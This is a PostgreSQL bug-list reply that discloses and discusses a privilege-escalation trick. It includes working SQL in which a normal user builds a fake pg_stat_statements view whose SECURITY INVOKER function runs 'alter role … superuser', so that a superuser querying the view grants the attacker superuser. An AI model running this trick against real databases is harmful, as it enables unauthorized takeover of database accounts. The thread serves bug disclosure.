Re: BUG #13651: trigger security invoker attack - Mailing list pgsql-bugs

From 德哥
Subject Re: BUG #13651: trigger security invoker attack
Date
Msg-id 3ed1e8e4.24ae.1501bd26a65.Coremail.digoal@126.com
Whole thread Raw
In response to Re: BUG #13651: trigger security invoker attack  ("David G. Johnston" <david.g.johnston@gmail.com>)
Responses Re: BUG #13651: trigger security invoker attack  ("David G. Johnston" <david.g.johnston@gmail.com>)
List pgsql-bugs
a normal user get super privilege, use security invoker function.
postgres=> create table pg_stat_statements (
 userid oid              ,
 dbid                oid      ,        
 queryid             bigint      ,     
 query               text           ,  
 calls               bigint      ,     
 total_time          double precision ,
 rows                bigint           ,
 shared_blks_hit     bigint   ,        
 shared_blks_read    bigint    ,       
 shared_blks_dirtied bigint     ,      
 shared_blks_written bigint      ,     
 local_blks_hit      bigint       ,    
 local_blks_read     bigint          , 
 local_blks_dirtied  bigint        ,  
 local_blks_written  bigint         ,  
 temp_blks_read      bigint          , 
 temp_blks_written   bigint           ,
 blk_read_time       double precision ,
 blk_write_time      double precision );

postgres=> create or replace function f() returns pg_stat_statements as $$                
declare
begin
  alter role digoal superuser;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION

postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE

When a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.

Yes, it's a normal operation ,but somebody can use these trick.


--
公益是一辈子的事,I'm Digoal,Just Do It.

在 2015-09-29 23:48:12,"David G. Johnston" <david.g.johnston@gmail.com> 写道:
On Tuesday, September 29, 2015, <digoal@126.com> wrote:
The following bug has been logged on the website:

Bug reference:      13651
Logged by:          digoal
Email address:      digoal@126.com
PostgreSQL version: 9.4.4
Operating system:   CentOS 6.x x64
Description:

In my database, there have two role, one normal user, one superuser.

postgres=# \dt
              List of relations
 Schema |       Name       | Type  |  Owner
--------+------------------+-------+----------
 public | customer_reviews | table | postgres
 public | t                | table | digoal
 public | t1               | table | postgres
 public | t2               | table | postgres
 public | t3               | table | postgres



Elided truncate trigger dropping t1...
 
And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR:  permission denied for relation t1


I'm surprised this works since t1 shouldn't exist...

postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR:  42501: permission denied for relation t1
LOCATION:  aclcheck_error, aclchk.c:3371


But since t1 does exist and t is owned by digoal the fact that this fails with a permission error is unsurprising.  Rules execute as the owner of the relation to which they are attached in order to facilitate data hiding,

David J.


pgsql-bugs by date:

Previous
From: Alvaro Herrera
Date:
Subject: Re: BUG #13648: Old Records disappearing after upgrade from 9.4.1 to 9.4.4
Next
From: "David G. Johnston"
Date:
Subject: Re: BUG #13651: trigger security invoker attack